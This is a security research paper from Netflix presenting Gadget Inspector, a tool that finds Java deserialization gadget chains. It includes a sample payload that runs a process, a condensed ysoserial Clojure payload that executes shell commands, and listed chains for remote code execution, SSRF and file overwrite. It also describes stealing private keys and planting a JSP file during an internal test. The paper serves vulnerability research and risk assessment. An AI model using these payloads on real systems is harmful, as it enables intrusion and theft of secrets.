Automated Discovery of Deserialization Gadget Chains

Ian Haken
Senior Security Software Engineer, Netflix

Deserialization vulnerabilities became a popular focus of application security research in 2015 after Frohoff and Lawrence's AppSecCali presentation *Marshalling Pickles*[1]. Even though these types of vulnerabilities have been understood since at least 2006[2] this put a spotlight on the subject because it revealed how high impact and wide-spread the problem could be[3]. During 2016 this vulnerability class was thoroughly[4] discussed[5] in conferences[6] and meetups[7], but despite this attention it is a vulnerability class that has not yet been eliminated and continues to see new attention and research. At Black Hat USA 2017 Muñoz and Mirosh[8] presented a survey of JSON deserialization libraries vulnerable to exploitation and at the upcoming AppSec USA 2018 in October the subject continues to be covered in Kojenov's presentation *Deserialization: what, how and why [not]*[9].

This paper looks at deserialization vulnerabilities from a different angle. Instead of focusing on what makes an application vulnerable we focus on what makes a vulnerability exploitable, what sort of exploits are possible, and how to assess the risk of deserialization deserialization vulnerabilities in a given application. In this paper we focus exclusively on deserialization vulnerabilities in Java, although the discussion and methods described should generalize to other languages where these sorts of vulnerabilities apply (such as C# or PHP).

In the end we present and open source a new tool for discovering gadget chains that can be used to exploit deserialization vulnerabilities. This tool can be used by both penetration testers and application security engineers to assist in assessing the risk of a deserialization vulnerability and quickly develop working gadget chains.

[1] https://frohoff.github.io/appseccali-marshalling-pickles/
[2] http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
[3] https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
[4] https://www.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016
[5] https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf
[6] https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
[7] https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
[8] https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
[9] https://appsecus2018.sched.com/event/F04J

What is a deserialization vulnerability?

In object oriented languages such as Java, data can be contained in classes. The power of object oriented languages is that semantic behavior related to these classes is carried with the data. This affects the design of software in these languages and also allows for powerful features like polymorphism. The fundamental vulnerability caused by deserialization is that an attacker may specify the *type* of the data being being passed in to an application as it is deserialized. Because the type of data specifies the class instantiated to hold that data—and the class determines what code might be run—this means the attacker has direct influence on what code gets executed.

Consider the following Java snippet which represents a web application with a classic Java deserialization vulnerability.

```
@POST
public String renderUser(HttpServletRequest request) {
  ObjectInputStream ois = new ObjectInputStream(
      request.getInputStream());
  User user = (User) ois.readObject();
  return user.render();
}
```

The developer's intent is that the request body contains a serialized version of the following `User` class, which will get deserialized by the `ObjectInputStream.readObject()` method and cast to `User`. Suppose the implementation of the `User` class looks something like the below:

```
public class User implements Serializable {
  private String name;
  public String render() {
    return name;
  }
}
```

In this case an attacker being able to control the `name` field reflected in the output of the web request is benign. While the developer can control the data type returned from `ois.readObject()`, it is cast to a `User` and therefore the attacker cannot meaningfully influence what code is executed without further context. However, suppose the following class also exists in the application.

```java
public class ThumbnailUser extends User {
  private File thumbnail;
  public String render() {
    return Files.read(thumbnail);
  }
}
```

If the attacker instead sends a serialized instance of `ThumbnailUser` then when the application calls `render()` on the object the contents of any file on the filesystem may be reflected to the attacker. This demonstrates how an attacker being able to specify the *type* of data allows the attacker to induce unintended behavior.

Gadget Chains

If this were the extent of the danger of deserialization vulnerabilities it would likely be the case that most vulnerabilities are not exploitable since it relies on applications implementing classes with “dangerous behavior” that override the benign behavior of the intended data types. However, many deserialization libraries (including Java’s `ObjectInputStream`) utilize *magic methods* so that classes can control their serialization/deserialization behavior. Magic methods get automatically invoked by the deserialization library even before returning from the `readObject()` method. Therefore, if any class on the classpath implements dangerous behavior inside a magic method, it can be executed by an attacker regardless of what type the object is cast to inside of application code.

An example of a class implementing such a magic method is the JDK’s `java.util.HashMap`. If this class used default serialization mechanics then serialized instances of the class would likely not be interoperable between JDK versions when the underlying implementation of the hash map was altered. To improve interoperability, this class instead implements the `writeObject()` / `readObject()` methods which the deserialization library invokes instead of using the default scheme for serializing / deserializing objects. When writing out a map the `writeObject()` magic method instead just serializes all key/value pairs as a list. When reading in a map the `readObject()` magic method reads each key/value pair from the list and calls `this.put(key, value)` for each pair. As a result this class will also call `hashCode()` and `equals()` on each key read out of the serialized payload.

Thus, if any class on the classpath implements dangerous behavior inside one of `hashCode()` or `equals()` it’s possible to construct a serialized payload that would execute that method. This gives rise to the notion of a *gadget chain*. A gadget chain is a sequence of class methods starting with one of these magic methods and where the invocation of one method in the chain leads to the invocation of the next method in the chain, ultimately ending with some sort of dangerous behavior.

Consider the following example classes based on a simplified gadget chain in Clojure (which is described in greater detail below):

```
class AbstractTableModel$ff19274a {
  private IPersistentMap __clojureFnMap;
  public int hashCode() {
    IFn f = __clojureFnMap.get(
                              "hashCode");
    return (int)(f.invoke(this));
  }
}
```

```
public class FnCompose implements IFn {
   private IFn f1, f2;
   public Object invoke(Object arg) {
       return f2.invoke(f1.invoke(arg));
   }
}
```

```
public class FnConstant implements IFn {
   private Object value;
   public Object invoke(Object arg) {
       return value;
   }
}
```

```
public class FnEval implements IFn {
   public Object invoke(Object arg) {
       return Runtime.exec(arg);
   }
}
```

By composing instances of these classes into a serialized payload and then wrapping the `AbstractTableModel$ff19274a` instance in a `HashMap`, an attacker can execute arbitrary code. This is an example of such a serialized payload using Jackson-style serialization:

```
{
  "@class": "java.util.HashMap"
  "members": [
    2,
    {
      "@class": "AbstractTableModel$ff19274a"
      "__clojureFnMap": {
        "hashCode": {
          "@class": "FnCompose"
          "f2": { "@class": "FnConstant", "value": "/usr/bin/calc" },
          "f1": { "@class": "FnEval" }
        }
      }
    },
    "val"
  ]
}
```

If this payload were converted to `ObjectInputStream`'s binary format and sent to the vulnerable `renderUser()` endpoint described in the first section, the application would end up invoking the `/usr/bin/calc` process before ever returning from the `readObject()` method. Since this happens before `readObject()` returns, it is irrelevant that the returned value (a `HashMap`) cannot be cast to `User`.

There are many classes besides `HashMap` in the JDK (and other common Java libraries) that implement magic methods and therefore provide useful first links in gadget chains. Another example is the `java.util.PriorityQueue` class which can invoke `Comparator.compare()` and `Comparable.compareTo()` methods of its members. The ysoserial project[10] is a collection of deserialization gadget chains which includes many other examples.

The most important thing to observe about gadget chains is there their construction is completely unrelated to what code or libraries your application invokes. Instead it is only constrained by what classes are available on the classpath of your application. If your application includes some library (perhaps even transitively) that is never actually called, its classes can still be used to build a gadget chain.

Finding Deserialization Vulnerabilities

Finding deserialization vulnerabilities is similar to finding many other web applications vulnerabilities such as cross-site scripting (XSS) or SQL injection. In the simplest terms an application is vulnerable if attacker-controlled data (such as a query parameter or request body) flows into a vulnerable method (such as `new ObjectInputStream(attackerData).readObject()`). While new "vulnerable methods" are being discovered by researchers such as the JSON libraries enumerated by Muñoz and Mirosh, the mechanisms by which vulnerabilities are found in applications are reasonably well understood. We will therefore omit discussion on this topic and refer the reader to aforementioned presentations and discussions of deserialization vulnerabilities.

Why Focus on Exploits instead of Remediation

Given the assertion that we understand how to find deserialization vulnerabilities it is reasonable to ask why we would focus on exploit discovery and development rather than remediation. However, remediating a deserialization vulnerability can be particularly difficult because it involves modification of the communication layer between an application and its clients.

It some cases, it can be extremely difficult or even impossible to change the communication mechanism used by clients. Consider the case that client code is deployed on embedded or consumer electronic (CE) devices. In this case there may be many clients that are years or even decades old that cannot be updated. However, even if both client and server components are under developer control it is still often a costly and difficult migration to perform. Developers must either ensure that no breaking changes are made to the existing communication protocol or else provide an upgrade path to a new communication protocol and coordinate migration of all clients.

Given that there can be significant costs to changing the communication layer of a service it then becomes important to understand the trade-offs. If an application has a deserialization vulnerability but has a small classpath with no gadget chains it may not be worth spending the time and effort needed to fully remediate the vulnerability. On the other hand, a vulnerability that is subject to a remote code execution (RCE) exploit would usually be prioritized. Thus, information about what gadget chains can be constructed can help inform the priority of remediation.

[10] https://github.com/frohoff/ysoserial

Ultimately what would be useful to get a contextual understanding of what *risk* a deserialization vulnerability poses when it is discovered.

Existing Gadget Chain Tools

Several tools do already exist to assist to help discover gadget chains on an application's classpath. The ysoserial project[11] is one of the most well-known ones. It contains some tools for building gadget chain payloads and has a collection of gadget chains discovered by researchers in open source libraries. Therefore if an application has one of these libraries on the classpath one can almost immediately identify possible gadget chains. However, this repository is not itself a tool for finding new gadget chains, gadget chains that can be constructed using a *combination* of libraries, or gadget chains exploitable against deserialization libraries other than the JDK's `ObjectInputStream` library. Marshalsec[12] is a similar project which supports a wider breadth of deserialization libraries, but is again a tool which largely includes known gadget chains. The Java Deserialization Scanner[13] is a Burp Suite plugin which dynamically scans applications and attempts to utilize known gadget chains from the ysoserial project. The NCC Group Burp Plugin[14] is another Burp Suite plugin but which is mainly based on the JSON payloads from Muñoz and Mirosh's work.

In contrast, joogle[15] is a tool for performing programmatic queries against class and method metadata of a classpath. This is a useful tool for researchers attempting to construct a gadget chain one link at a time. However, using joogle to construct a gadget chain is still a largely manual process.

Requirements for a new Gadget Chain Tool

Given that our simply stated goal is to understand the risk of a deserialization vulnerability, we would like to construct a new tool that can illuminate what gadget chains can be constructed against an application's classpath. Therefore we would like a tool that:

- Determines what gadget chain exploits exist on the classpath
- Determines the impact of those exploits (e.g. RCE, SSRF, DoS, etc)
- Provides a (limited) overestimation of impact rather than underestimation
- Easily operates on the entire classpath of an application; given multiple source languages (such as Groovy, Scala, Clojure, Kotlin, etc) it should operate on Java bytecode
- Understands different deserialization libraries and the restrictions on gadget chains that may be imposed by each library

[11] https://github.com/frohoff/ysoserial
[12] https://github.com/mbechler/marshalsec
[13] https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/
[14] https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/
[15] https://github.com/Contrast-Security-OSS/joogle

Gadget Inspector

The primary contribution of this paper is the introduction of a tool satisfying the above requirements. We have named this tool Gadget Inspector and it is available as an open source project[16].

This tool operates on a classpath and supports specifying either a war (in order to analyze a whole web application) or a collection of jars (for analyzing a single library and its transitive dependencies or just an alternatively constructed application). The output of the tool is a list of gadget chains where each gadget chain is a list of method invocations. Some examples of these outputs and corresponding gadget chain payloads are provided below.

Gadget Inspector makes a number of simplifying assumptions to make analysis of the Java bytecode relatively straightforward. These assumptions are laid out in the details below and we attempt to justify each assumption to explain why they are expected to lead to a low number of errors in the analysis.

As an example of a gadget chain produced by Gadget Inspector, the following is one of the first results discovered from this tool:

```
1.  clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a.hashCode() (0)
2.  clojure.main$load_script.invoke(Object) (1)
3.  clojure.main$load_script.invokeStatic(Object) (0)
4.  clojure.lang.Compiler.loadFile(String) (0)
5.  FileInputStream.<init>(String) (1)
```

This gadget chain causes the application to load (and execute) a clojure source file from disk. By changing the fourth method invocation in this gadget chain to `clojure.main$eval_opt` we can actually achieve arbitrary RCE instead. This version of the gadget chain was added to the ysoserial project in July 2017[17] and its full construction can be seen there. A condensed form of this construction is provided here for illustration:

[16] https://github.com/JackOfMostTrades/gadgetinspector
[17] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Clojure.java

```java
final String clojurePayload =
  String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);

Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode",
     new clojure.core$comp().invoke(
           new clojure.main$eval_opt(),
           new clojure.core$constantly().invoke(clojurePayload)));

AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));

HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
targetMap.put(model, null);

return targetMap;
```

How Gadget Inspector Works

Gadget Inspector is open source[18] and the reader is encouraged to inspect the source code for low level details of its operation. Gadget Inspector primarily utilizes the ASM library[19] for Java bytecode inspection and builds upon its instruction visitor framework to perform symbolic execution. It operates in five major steps which we describe below.

Class and Method Hierarchy Enumeration

The first step is enumerating all of the classes, methods, and their metadata for classes on the classpath. Using this we also build up a class inheritance hierarchy and method override hierarchy.

This step could be easily accomplished using JDK reflection APIs although we utilize ASM to inspect class files directly since it is used more deeply below anyway.

Passthrough Dataflow Discovery

The next step is discover methods with “passthrough” dataflow. Specifically we want to enumerate cases where an argument *X* to method *M* being attacker-controllable leads to an attacker-controllable object being returned from *M*. We achieve this by stepping through bytecode and performing some simple symbolic execution. Consider the following two examples:

[18] https://github.com/JackOfMostTrades/gadgetinspector
[19] https://asm.ow2.io/

```java
public class FnConstant implements IFn {
   private Object value;
   public Object invoke(Object arg) {
       return value;
   }
}
```

```java
public class FnDefault {
  private FnConstant f;
  public Object invoke(Object arg) {
    return arg != null ? arg :
                         f.invoke(arg);
  }
}
```

This would lead to the following output. Note that arguments are numbered starting at 0 and that for all non-static methods (such as both above) the implicit `this` argument is argument 0.

- FnConstant.invoke() -> 0
- FnDefault.invoke() -> 1
- FnDefault.invoke() -> 0

In the first bullet above we are indicating that if the 0th argument to FnConstant.invoke() is attacker-controlled then we expect the return value to be attacker-controlled. This is because the output of that invocation is `this.value`. This leads us to our first assumption: if an object is attacker-controllable then all fields of that object are also attacker-controllable. We justify this given the context of our threat model. If an object is attacker-controlled it's usually because it is read from a serialized payload and thus all of its members are also set from the serialization payload. There are cases where this assumption may break down, but in evaluation it doesn't lead to many false positives.

In the second bullet above we indicate that the 1st argument to `FnDefault.invoke()` gets returned. In the third bullet, if the `this` argument to `FnDefault.invoke()` is attacker-controllable then by our above assumption we assume `this.f` is also attacker-controllable. Given the first bullet above, we therefore assume that the return value of `this.f.invoke()` is attacker-controllable. Therefore we finally see that the return value would also be attacker-controllable.

Implicit in our derivation of bullets two and three is another assumption: any branch conditions inside methods are satisfiable. Determining what branch conditions are satisfiable tends to be one of the more difficult problems in code analysis which is entirely side-stepped by this tool. We feel justified in making this assumption since very often the variables used to make branch decisions are also attacker-controllable and therefore an attacker has strong control over what branch conditions get satisfied. Although this is one of the weaker justifications, based on the evaluation of Gadget Inspector (discussed more below) this led to few false positives.

The results of this step of the analysis are only used to aid in the next step.

Passthrough Callgraph Discovery

The next step in Gadget Inspector's operation is very similar to the previous one. However, instead of enumerating dataflow from method arguments to return values, we instead want to enumerate dataflow from method arguments to method invocations. This is used to build up a call graph for the application. This is achieved using the same symbolic execution as above. The following is an example:

```java
public class AbstractTableModel$ff19274a {
   private IPersistentMap __clojureFnMap;
   public int hashCode() {
       IFn f = __clojureFnMap.get("hashCode");
       return (int)(f.invoke(this));
   }
}
```

This method would result in the following output for the `AbstractTableModel $ff19274a.hashCode()` method:

- 0 -> IFn.invoke() @ 1
- 0 -> IFn.invoke() @ 0

In the first bullet we are indicating that if the 0th argument to `hashCode()` (the implicit `this`) is attacker-controllable then this gets passed in as the 1st argument to `IFn.invoke()`. To derive the second bullet, if we treat `this` as attacker-controllable then `__clojureFnMap` is attacker-controllable. As a heuristic we treat `Map.get()` as having passthrough dataflow on the 0th argument. Therefore we determine that `f` is attacker-controllable. We then see `f` passed as the implicit `this` to `f.invoke()`. This yields the second bullet above.

Gadget Chain Source Discovery

Using the class and method hierarchy from the first step, in this step we enumerate all gadget chain source methods. These methods are enumerated using known tricks discovered by researchers. For example, we treat `Object.hashCode()` as a source method since we know that this method can get invoked by putting the object in a `HashMap` as described above. While the example of the `hashCode()` entry point could be derived using the rest of Gadget Inspector's analysis, other entry points rely on a hardcoded configuration. One example of this is the `InvocationHandler.invoke()` entry point utilized by Frohoff's commons-collections gadget chain, which can be achieved by wrapping the class in a dynamic proxy. Gadget Inspector would have been unable to derive this gadget chain source method on its own since it relies on the underlying JDK behavior of dynamic proxies which bytecode analysis would not reveal.

What source methods exist may also depend on what serialization library we are considering. The above examples are valid for the JDK's `ObjectInputStream`, but for other libraries (such as Jackson) entry points would vary. For Jackson, the source methods may just be no-arg constructors.

Call Graph Search

Given the call graph from step 3 and the source methods from step 4, we now simply perform a breadth-first-search through the call graph starting from those source methods. We output a gadget chain whenever the search encounters an “interesting method.” Each node in the call graph is a method invocation such as “0 -> IFn.invoke() @ 1”. At each node we add to our search all implementations of those methods (using the method hierarchy enumerated in step 1). For the example of “0 -> IFn.invoke() @ 1” we would add all implementations of `IFn.invoke()` as further nodes to explore in our graph search. Given the above examples, this would include `FnConstant.invoke()` and `FnDefault.invoke()`.

The ability to jump to any method implementation is another assumption of our analysis. In general this is possible because the attacker controls the data types of any fields of objects in our gadget chain and therefore what implementation of a class is deserialized as that field value. The only limitation on this assumption is that an attacker can only specify data types that are serializable. The conditions that make a class serializable depend on what serialization library we are considering, which is another one of the ways Gadget Inspector is parameterizable.

It is important to note that we output a gadget chain result once we encounter an “interesting method.” It is another limitation that this analysis requires a hardcoded list of interesting methods. Examples include the Java APIs for executing processes, reflection methods, APIs for loading classes, etc. Omissions from this list lead to false negatives, and indeed what is considered “interesting” may entirely be subjective or context-dependent.

Evaluation Results

In order to evaluate the efficacy of Gadget Inspector we ran it with configuration for the JDK `ObjectInputStream` against the 100 most popular java libraries, as ranked by mvnrepository.com.

As hoped, this rediscovered some known gadget chains, such as the commons-collections gadget chain discovered by Frohoff[20]:

```
1. com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
       .invoke(Object, Method, Object[]) (0)
2. org.apache.commons.collections.map.LazyMap.get(Object) (0)
3. org.apache.commons.collections.functors.InvokerTransformer
       .transform(Object) (0)
4. java.lang.reflect.Method.invoke(Object, Object[]) (0)
```

One of the reasons that the original discovery of this gadget chain was so significant was its widespread usage. It is the 38th most popular library on mvnrepository.com so this RCE gadget chain could be used as an exploit in a large number of applications that were subject to unsafe deserialization.

As described above, Gadget Inspector also discovered this gadget chain in Clojure[21]:

[20] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
[21] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Clojure.java

```
1.  clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a.hashCode() (0)
2.  clojure.main$load_script.invoke(Object) (1)
3.  clojure.main$load_script.invokeStatic(Object) (0)
4.  clojure.lang.Compiler.loadFile(String) (0)
5.  FileInputStream.<init>(String) (1)
```

As described previously, we can replace step 4 with `clojure.main$eval_opt` which leads to an RCE gadget chain. mvnrepository.com ranks Clojure as the 6th most popular library meaning that the prevalence of this RCE gadget chain may be even more widespread than the commons-collections gadget chain of 2016, though we would certainly expect there to be fewer applications with deserialization vulnerabilities to begin with given the appreciation for their danger that has arisen in the past 2 years.

This gadget chain was originally discovered in the 1.8.0 version of the clojure library and also affected all versions before it. This gadget chain was reported to the clojure-dev mailing list in July 2017 and in the 1.9.0 deserialization of the `AbstractTableModel $ff19274a` class was disabled as remediation.

In preparation of this paper, Gadget Inspector was rerun on the latest version of the clojure (1.10.0-alpha4 at the time of writing). On this version of Clojure Gadget Inspector discovered an alternate entry point that led to the same gadget chain:

```
1.  clojure.lang.ASeq.hashCode() (0)
2.  clojure.lang.Iterate.first() (0)
3.  clojure.main$load_script.invoke(Object) (1)
4.  clojure.main$load_script.invokeStatic(Object) (0)
5.  clojure.lang.Compiler.loadFile(String) (0)
6.  FileInputStream.<init>(String) (1)
```

The same alteration of step 5 leads to another RCE gadget chain[22]. This entrypoint was first available in clojure release 1.8.0 and effects all releases since then. Therefore it is the case that all releases of clojure available at the time of writing can be used to construct an RCE gadget chain.

Gadget Inspector also discovered the following gadget chains in Scala, the 3rd most popular library on mvnrepository.com. The first leads to an SSRF exploit that performs a GET request to an arbitrary URL[23]:

```
1.  scala.math.Ordering$$anon$5.compare(Object, Object) (0)
2.  scala.PartialFunction$OrElse.apply(Object) (0)
3.  scala.sys.process.processInternal$$anonfun$onIOInterrupt$1
        .applyOrElse(Object, scala.Function1) (0)
```

[22] https://github.com/JackOfMostTrades/ysoserial/blob/master/src/main/java/ysoserial/payloads/Clojure2.java

[23] https://github.com/JackOfMostTrades/ysoserial/blob/master/src/main/java/ysoserial/payloads/Scala.java

```
4. scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1
       .apply() (0)
5. java.net.URL.openStream() (0)
```

A similar gadget chain in Scala discovered by Gadget Inspector would allow an attacker to (over)write an arbitrary path with a zero byte file. By overwriting application files, this could lead to a viable denial of service attack.

```
1. scala.math.Ordering$$anon$5.compare(Object, Object) (0)
2. scala.PartialFunction$OrElse.apply(Object) (0)
3. scala.sys.process.processInternal$$anonfun$onIOInterrupt$1
       .applyOrElse(Object, scala.Function1) (0)
4. scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3
       .apply() (0)
5. java.io.FileOutputStream.<init>(File, boolean) (1)
```

Evaluation: Netflix Internal App

Gadget Inspector includes two features which make it especially powerful. The first is that besides analysing individual libraries as described in the previous section, it can also discover gadget chains that include links between many different libraries on an application's classpath.

The second feature is that is offers a great deal of flexibility in its parameterization of serialization libraries. This was especially relevant in the analysis of an internal web application at Netflix. Our application security team discovered that this application was subject to unsafe deserialization, but it used a custom deserialization library which subjected inputs to some unique constraints:

- The library invokes the `readResolve()` magic method but not `readObject()`
- Serialized objects do *not* need to implement `java.io.Serializable`
- Member fields of serialized objects cannot have a `$` in the name.
    - Non-static inner classes always have an implicit `$outer` member name, so only static inner classes could be considered serializable.
- No serialization support for arrays or generic maps
- No null member values

This last requirement was especially constraining as it implies that all members of serialized objects must also satisfy these constraints. It also implies that classes with recursive member types (such as `java.lang.Thread` which has a `parent` member of type `Thread`) could not be serialized.

Because of all of these restrictions, teams that ran penetration tests on this application were unable to come up with any working exploits despite several days of work. However, this was an ideal candidate for us to evaluate Gadget Inspector on and after only a few minutes of analysis it discovered the following gadget chain:

```
1.   com.thoughtworks.xstream.mapper.AbstractAttributeAliasingMapper.readResolve() (0)
2.   org.apache.commons.configuration.ConfigurationMap$ConfigurationSet.iterator() (0)
3.   org.apache.commons.configuration.ConfigurationMap$ConfigurationSet
     $ConfigurationSetIterator.<init>() (0)
4.   org.apache.commons.configuration.CompositeConfiguration.getKeys() (0)
5.   clojure.lang.APersistentMap$KeySeq.iterator() (0)
6.   com.netflix.internal.utils.collections.IteratorWrapper$CallableWrapper.iterator() (0)
7.   java.util.concurrent.Executors$RunnableAdapter.call() (0)
8.   org.apache.commons.exec.StreamPumper.run() (0)
9.   org.eclipse.core.internal.localstore.SafeFileOutputStream.close() (0)
10.  org.eclipse.core.internal.localstore.SafeFileOutputStream.commit() (0)
11.  org.eclipse.core.internal.localstore.SafeFileOutputStream.copy(File, File) (2)
12.  java.io.FileOutputStream.<init>(File) (1)
```

The colors above identify different libraries the classes belong to. This highlights that this gadget chain jumps through seven different libraries including JDK classes, application classes, and open source libraries.

The above gadget chain had the effect of copying an arbitrary path to any other arbitrary path. By constructing the payload corresponding to this gadget chain we were able to copy files with secrets (such as private keys) to the web application's static resources directory for exfiltration.

However, a small alteration of the above gadget chain allowed us to substitute the 9th step with `java.io.StringBufferInputStream` as the input stream and `org.eclipse.core.internal.localstore.SafeChunkyOutputStream` as the output stream. By doing so we were able to create a payload that would write arbitrary content to an arbitrary path. By writing a JSP file to the web resource directory we were able to achieve RCE.

By identifying these gadget chains we were able to prioritize the unsafe deserialization vulnerability as critical despite the existing mitigations. Before the availability of Gadget Inspector, the inability of penetration testers to develop a working exploit had led us to suspect that the mitigations in place would have prevented a meaningful exploit.

Conclusion

Given that research and presentations on deserialization vulnerabilities continue to come out it is clear that this class of vulnerabilities is still not going away. As we have demonstrated with Gadget Inspector, gadget chains can be even more complex and subtle than they have been in the past, and research can be advanced by utilizing such methods.

We believe that the use of tools for end-to-end automated discovery of new or context-specific gadget chains is unexplored territory in deserialization vulnerability research. Using the methods described we have already discovered a number of new, high impact gadget chains in open source libraries. It has also allowed us to quickly identify the impact of deserialization vulnerabilities in internal Netflix microservices and prioritize them appropriately.

In analysing applications, Gadget Inspector was able to produce results in only a few minutes. Anecdotally, security researchers have spent days and weeks building gadget chains in the past and we believe that Gadget Inspector has the potential to significantly reduce the time it takes to evaluate the risk of deserialization vulnerabilities and create working deserialization vulnerability exploits.

Gadget Inspector is a prototype tool, and has a number of limitations and assumptions described above. However, it is open source[24] and we encourage researchers to provide feedback, submit contributions to improve it, or to utilize these ideas to build even more powerful tools.

[24] https://github.com/JackOfMostTrades/gadgetinspector